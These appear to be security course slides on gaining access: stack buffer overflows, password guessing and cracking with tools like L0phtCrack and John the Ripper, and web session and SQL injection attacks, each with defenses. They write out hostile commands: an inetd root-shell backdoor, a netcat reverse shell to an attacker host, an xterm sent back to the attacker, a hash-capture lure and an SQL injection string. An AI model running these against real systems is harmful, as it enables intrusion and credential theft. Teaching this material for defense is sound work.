Chapter 7
Phase 3: Gaining Access Using Application and Operating System Attacks
Locating Exploits

- Packet Storm Security
  http://packetstorm.securify.com
- Technotronic Security Information
  http://www.technotronic.com
- Security Focus Bugtraq Archives
  http://www.securityfocus.com
Fig 7.1 Searching Packet Storm for a common vulnerability exploit
Application & Operating System Attacks

- Stack-based buffer overflow attacks
- Password attacks
- Web application attacks
Stack-Based Buffer Overflow Attacks

- Allows attacker a way to execute arbitrary commands and take control of a vulnerable machine
- “Smashing the Stack for Fun and Profit”
- Any poorly written application or operating system component could have a stack-based buffer overflow
What is a Stack

- A data structure that stores important information for processes running on a computer
- Used to store information associated with function calls on the computer
- Used to store function call arguments, return instruction pointer, frame pointer, and local variables
Fig 7.2  Sample code with function call

```c
void sample_function(void)
{
    char buffer[10];
    printf("Happy Happy!\n");
    return;
}

main()
{
    sample_function();
    printf("Hello World!\n");
}
```

1. Execution starts here.
2. The flow transitions to the function here.
3. We now return to the main procedure.
Fig 7.3 A normal stack
void sample_function(char *string)
{
    char buffer[16];
    strcpy(buffer, string);
    return;
}

void main()
{
    char buffer[256];
    int i;

    for(i=0; i<255; i++)
        big_buffer[i]='A';

    sample_function(big_buffer);
}

Fig 7.4 Buffer Overflow sample program
Fig 7.5  A smashed stack

1. Buffer space is overwritten with instructions
2. Return Pointer is overwritten

MACHINE CODE: execve(/bin/sh)
SAVED FRAME PTR
NEW POINTER TO EXEC CODE
FUNCTION CALL ARGUMENTS

Fill Direction
Return pointer now points into the buffer, which contains the attacker’s code to run.
Contents of a Buffer Overflow Exploit

- **NOP sled**
  - Series of “No Operation” instructions
- **Machine language code containing attacker’s commands**
- **Return pointer**
Buffer Overflow documents

♦ Advanced Buffer Overflow Exploit paper
  http://ohhara.sarang.net/security/adv.txt

♦ http://www.blackhad.com/presentations/bh-asia-00/greg/greg-asia-00-stalking.ppt

♦ Windows buffer overflow
  http://www.beavuh.org/dox/win32_oflow.txt

♦ eEye’s buffer overflow exploit on Windows NT systems running IIS
Detection of Stack-based overflows by network-based IDS

♦ Match signatures associated with NOP sleds
♦ Identify typical machine language exploit code to get attackers’ commands executed
♦ Look for frequently used return pointers associated with popular buffer overflows
ADMutate

- Tool used evade IDS detection of buffer overflows
- [http://www.ktwo.ca/security.html](http://www.ktwo.ca/security.html)
- exploit code fed into ADMutate which modifies the exploit code while retaining the same ultimate function
  - NOP instruction replaced with other code that functionally does nothing
  - Main part of exploit code contains code to decrypt encrypted instructions
  - Least significant byte of Return Pointer modified
Things Attackers do after Stack is Smashed

- Force exploit code to spawn a command shell and enter another command to be executed by command shell
- Shell and command will run under the context of the vulnerable process
- Installing a backdoor using inetd
- Backdooring with TFTP and Netcat
- Shooting back an Xterm
Creating a Backdoor Using Inetd

- overflow buffer in some root-level program to run the following command string

```
/bin/sh -c "echo 12345 stream tcp nowait root
>> /etc/inetd.conf; killall -HUP inetd

Make inetd reread its configuration file for changes to be implemented
```

When traffic arrives on the port, run a command shell to execute any commands that are received.
Backdooring via Netcat

♦ Netcat: A tool used to push a command shell prompt across the network
♦ Overflow buffer of victim with command to spawn a shell to download Netcat from attacker’s machine via TFTP and then run Netcat
♦ Victim machine runs Netcat configure to execute a shell and push it to the attacker’s machine
♦ Attacker’s machine is also running Netcat, but is configured to wait for a connection from victim
Fig 7.6 Placing a backdoor using buffer overflows, TFTP, and Netcat

1. Overflow buffer with command to TFTP Netcat and set up backdoor

2. tftp get netcat

3. Run: `nc attacker 7777 -e /bin/sh`
   Netcat with command shell to TCP port 7777 on attacker’s machine

4. nc -l -p 7777

5. Interact with command prompt on victim!

May be single or multiple machines
Shooting back Xterms

- Useful against networks that block incoming connections but allow outgoing connections
- Allows attacks to gain command-line access to victim machine
  - victim machine’s configuration need not be modified
  - No additional software needs to be installed on victim machine
Shooting Back Xterms Step-by-Step

- Attacker configures his own machine to accept incoming X sessions from the target machine via “xhost +victim”
- Attacker overflows the buffer of vulnerable program on the target machine with shell command to run the Xterm program and directing the display to the attacker’s machine
- Commands typed by attacker into Xterm are executed on the victim machine.
Fig 7.7 Getting an Xterm using a buffer overflow

1. `# xhost +victim`
2. Overflow buffer with command to send xterm to attacker’s machine
3. Outgoing xterm
   - `# $display=attacker:0,0`
   - `# xterm&`
4. Interact with xterm
Examples of widely used Exploits

- IIS Unicode exploit which lets an attacker execute commands on a Windows NT/2000 machine running IIS
  http://www.wiretrip.net/rft/p/doc.asp?id=57
- wu-ftp string input validation problem
  http://www.kb.cert.org/vuls/id/29823
- Rainforest Puppy’s RDS exploit which lets an attacker execute commands on a Windows NT server running IIS
  http://www.wiretrip.net/rft/p/doc.asp?id=1
Security Mailing Lists

♦ BugTraq
http://www.securityfocus.com/frames/?content=/forums/bugtraq/intro.html

♦ CERT
http://www.cert.org/contact_cert/certmaillist.html

♦ SANS Newsbite mailing list
http://www.sans.org
Defenses against Stack-Based Buffer Overflow Attacks

- Keep systems patched
- Subscribe to security mailing lists
- Subscribe to vendors’ mailing lists
- Remove unneeded services from servers
- Control outgoing traffic such as X
Defenses against Stack-Based Buffer Overflow Attacks (cont.)

♦ Configure operating systems with nonexecutable stack
  – Solaris: add the following to /etc/system file
    • set noexec_user_stack=1
    • set noexec_user_stack_log=1
  – Linux: apply a kernel patch
    http://www.openwall.com/linux/README
  – Windows NT: install SecureStack
    http://www.securewave.com/products/securesstack/secure_stack.html
Defenses against Stack-Based Buffer Overflow for Software Developers

- Avoid programming mistakes involving allocation of memory space
- Check the size of all user input
- Use automated code-checking tools such as ITS4 (It’s the Software, Stupid – Security Scanner)  [http://www.cigital.com/its4/]
Password Guessing Attacks

♦ Users often choose passwords that are easy to remember, but are also easily guessed
♦ default passwords used by vendors left unchanged
♦ Database of vendor default passwords
  
  http://security.nerdnet.com
Fig 7.8 An online database of default passwords
Password Guessing through Login Scripting

- THC-Login Hacker tool [http://thc.inferno.tusculum.edu](http://thc.inferno.tusculum.edu)
- brute_ssl and brute_web
- Windows NT password guessing
  [http://packetstorm.securify.com/NT/audit/nt.remotely.crack.nt.passwords.zip](http://packetstorm.securify.com/NT/audit/nt.remotely.crack.nt.passwords.zip)
- Guessing email passwords using POP3 protocol:
  Hypnopaedia
- Other password guessing tools
  [http://packetstorm.securify.com/Crackers](http://packetstorm.securify.com/Crackers)
Password Cracking

♦ More sophisticated and faster than password guessing through login script
♦ Requires access to a file containing user names and encrypted passwords
♦ Dictionary attacks
♦ Brute force attacks
♦ Hybrid dictionary and brute force attacks
Fig 7.9  Password cracking is really just a loop

- Create a password guess
- Encrypt the guess
- Compare encrypted guess with encrypted value from the stolen password file
- If match, you’ve got the password! Else, loop back to the top.
Password Cracking Tools

♦ L0phtCrack, a Windows NT/2000 password cracker [http://www.l0pht.com/l0phtcrack](http://www.l0pht.com/l0phtcrack)
♦ John the Ripper, a Unix password cracker [http://www.openwall.com/john](http://www.openwall.com/john)
♦ Crack, a Unix password cracker [http://www.users.diron.co.uk/~crypto/](http://www.users.diron.co.uk/~crypto/)
♦ Pandora, a password cracker for Novell [http://www.nmrc.org/pandora](http://www.nmrc.org/pandora)
♦ PalmCrack, a Windows NT and Unix password cracker that runs on the Palm OS PDA platform [http://www.noncon.org/noncon/download.html](http://www.noncon.org/noncon/download.html)
L0phtCrack

- Tool used to crack Windows NT/2000 passwords
- Easy to use GUI interface
- Runs on MS Windows 9x, NT, and 2000 systems
- Free trial period of 15 days
Cracking Windows NT/2000 Passwords Using L0phtCrack

- Attacker must get a copy of the encrypted/hashed password representations stored in the SAM database of target machine

- L0phtCrack includes “pwdump” tool for dumping Windows NT password representation from a local or remote machine across the network
  - Requires administrator privileges on target machine

Cracking Windows NT/2000 Passwords Using L0phtCrack (cont.)

- Boot system from a Linux or DOS floppy disk and retrieve SAM database at %systemroot%\system32\config
  - Since DOS cannot read NTFS partition, attacker can use NTFSDOS program http://packetstorm.securify.com/NT/hack/ntfsdos.zip to access SAM database
  - To access NT and 2000 passwords from Linux boot disk http://home.eunet.no/~pnordahl/ntpasswd/bootdisk.html
- Use L0phtCrack’s SMB Packet Capture tool to sniff a user’s password off of the network
Fig 7.10 Configuration options for L0phtCrack
Fig 7.11 Successful crack using L0phtCrack
Using L0phtCrack’s Sniffer

- make the password hash come to you for authentication
  - Send email containing URL
    `file://attacker-pc/sharename/message.html`
  - When victim clicks on URL, victim’s machine attempts to mount the share on attacker’s server using a challenge/handshake protocol
  - Password hash is captured by attacker-pc running L0phtCrack’s integrated sniffing tool
  - Password hash is fed into L0phtCrack to retrieve user’s password
Fig 7.12  Would you trust this email?

Subject: Very Very Important Message!!!
Date: Sun, 31 Dec 2000 07:48:21 -0500
From: The Boss <boss@examplecompany.com>
To: skoudis@bellatlantic.net

Ed,

You must read this file and respond ASAP! It's critical that we get your input!

--The Boss

file:\\SOMESERVER\NTstuff\message.html
Fig 7.13  L0phtCrack’s integrated sniffer captures the challenge/response from the network for cracking

<table>
<thead>
<tr>
<th>Source IP</th>
<th>Destination IP</th>
<th>Domain\Username</th>
<th>Challenge</th>
<th>LanMan Hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>10.1.1.106</td>
<td>10.1.1.75</td>
<td>EDWORKSTATION\efs</td>
<td>1ed198189...</td>
<td>dd5822ac1</td>
</tr>
</tbody>
</table>
Fig 7.14 Successful crack of sniffed challenge/response
John the Ripper

- Used to crack Unix and WinNT passwords
- Runs on Unix, Win9x, NT, and Win2000 systems
- Automatically detects the encryption algorithm used
- Quickly generates many permutations for password guesses based on a word list
Fig 7.15 When password shadowing is used, the /etc/passwd file contains no password.
Fig 7.16 The corresponding /etc/shadow file contains the encrypted passwords.
Retrieving the Encrypted Password File

- find an exploit that will perform a stack-based buffer overflow of an SUID root program to gain root access
- Force a process that reads the encrypted password file to generate a core dump (memory dump of a dying process)
  - Crash one instance of a FTP server
  - Use another instance of the FTP server to transfer the core file to look for passwords to crack
Configuring John the Ripper

- Attacker must feed John with a file that has all user account and password information
- May need to merge `/etc/passwd` and `/etc/shadow` via “unshadow”
Fig 7.17 Running the **unshadow** program from John the Ripper
Fig 7.18  Running John the Ripper to crack passwords
Defenses against Password-Cracking Attacks

♦ Do not select passwords that can be easily guessed by an automated tool
♦ Do not use dictionary terms
♦ Change passwords at specified intervals
♦ Know how to create a good password
  – Use first letters of each word from a memorable phrase, mixing in numbers and special characters
♦ Use password filtering software to prevent users from choosing easily guessed passwords
♦ Use one-time password tokens or smart cards
♦ Use 2 or 3 factor authentication
Password Filtering Software

♦ Unix platform
  – Npasswd ftp.cc.utexas.edu/pub/npasswd
  – Passwd+ ftp.dartmouth.edu/pub/security

♦ Windows NT
  – Passprop, available in MS WinNT Resource Kit
  – Passfilt.dll included in Service Pack 2
  – Password Guardian www.georgiasoftworks.com
  – Strongpass http://ntsecurity.nu/toolbox
  – Fast Lane http://www.fastlanetech.com
Web Application Attacks

♦ Can be conducted even if the Web server uses Secure Sockets Layer (SSL)
  – SSL used to authenticate the Web server to the browser
  – SSL used to prevent an attacker from intercepting traffic
  – SSL can be used to authenticate the client with client-side certificates

♦ Web attacks can occur over SSL-encrypted connection
  – Account harvesting
  – Undermining session tracking
  – SQL Piggybacking
Account Harvesting

- Technique used to determine legitimate user IDs and even passwords of a vulnerable application
- Targets the authentication process when application requests a userID and password
- Works against applications that have a different error message for users who type in an incorrect userID
Fig 7.19  Mock Bank’s error message when a user types an invalid userID
Fig 7.20  Mock Bank’s error message when a user types a valid userID, but the wrong password
Account Harvesting Defenses

♦ Make sure that error message is the same when a user types in an incorrect userID or password
Web Application Session Tracking

- Most Web application generate a session ID to track the user’s session.
- Session ID is passed back and forth across the HTTP or HTTPS connection when client browses web pages, enters data into forms, or conducting transactions.
- Session ID allows the Web application to maintain the state of a session with a user.
- Session ID is independent of the SSL connection.
- Session ID is Application-level data.
Implementing Session IDs in Web Applications

- **URL session tracking**
  - Session ID is written directly on browser’s location line

- **Hidden form elements**
  - Hidden Session ID element put into the HTML form
  - Session ID can be seen by user by viewing HTML source code
    
    `<INPUT TYPE="HIDDEN" NAME="Session" VALUE="22343">`

- **Cookies**
  - Most widely used session-tracking method
  - Cookie is an HTTP field that the browser stores on behalf of Web server, containing info such as user preference and session ID
  - Per-session cookie is stored in browser’s memory
  - Persistent cookie is written to the local file system of client
Fig 7.21  Session tracking using the URL
Attacking Session Tracking Mechanisms

- Attacker changes his session ID to a value assigned to another user
  - Application thinks that attacker is the other user
Fig 7.22  Editing persistent cookies to modify a session ID using notepad
Achilles

- Tool used to edit per-session cookies
- www.digizen-security.com
- A Web proxy
- Attacker’s browser configured to send all HTTP and HTTPS data to Achilles
- Web browser and proxy can run on same or different machines
- Achilles allows attacker to edit all HTTP/HTTPS fields, per-session and persistent cookies, hidden form elements, and URLs.
- Supports HTTPS connections
  - one SSL connection set up between browser and Achilles
  - Another SSL connection set up between Achilles and Web server
Fig 7.24 The Achilles screen

Intercepts either direction—browser to server or server to browser.

Allows editing of any cookies, persistent or per-session.

Editing of any HTTP or HTML field.

Includes a built-in certificate—nice touch!
Fig 7.25  Handling HTTPS with Achilles
Defending against Web Application Session-Tracking Attacks

- Digitally sign or hash session-tracking information
- Encrypt information in the URL, hidden form element, or cookie
- Make sure that your session IDs are long enough to prevent accidental collision
- Apply a timestamp within the session ID variable and encrypt it
- Allow users to terminate their sessions via a logout button which will invalidate the session ID
- Scan your web site via AppScan [http://www.sanctuminc.com](http://www.sanctuminc.com)
SQL Piggybacking

- Attacker may extend an application’s SQL statement to extract or update information that the attacker is not authorized to access.
- “How I Hacked Packetstorm”
- Attacker will explore how the Web application interacts with the back-end database by finding a user-supplied input string that will be part of a database query.
Fig 7.26 Figuring out how the Web application interacts with a database
Fig 7.27 The location line contains the account number searched for.
Attacker types in various characters here in a trial and error process.

Eureka! The attacker now knows how data from the location gets stuffed into an SQL query based on this error message.

Fig 7.28 A very useful error message
SQL Statement used by application

This value is the attacker’s userID, automatically entered into the SQL query by the Web application.

```
SELECT * FROM account WHERE (userid='10001' and number = 'INPUT_FROM_LOCATION_LINE')
```

Here is where the input from the location line is entered into the SQL statement.

```
SELECT * FROM account WHERE (userid='10001' and number = '1111111111111111' or userid='10002')
```

Added by the attacker to the browser’s location line.
Fig 7.29  Gaining unauthorized access with SQL piggybacking
Defenses against Piggybacking SQL Commands

- Web application must be programmed to carefully filter user-supplied data
- Potentially damaging characters (such as ' ', "", ``, ; * % _ ) should be filtered at server side
- World Wide Web Security FAQ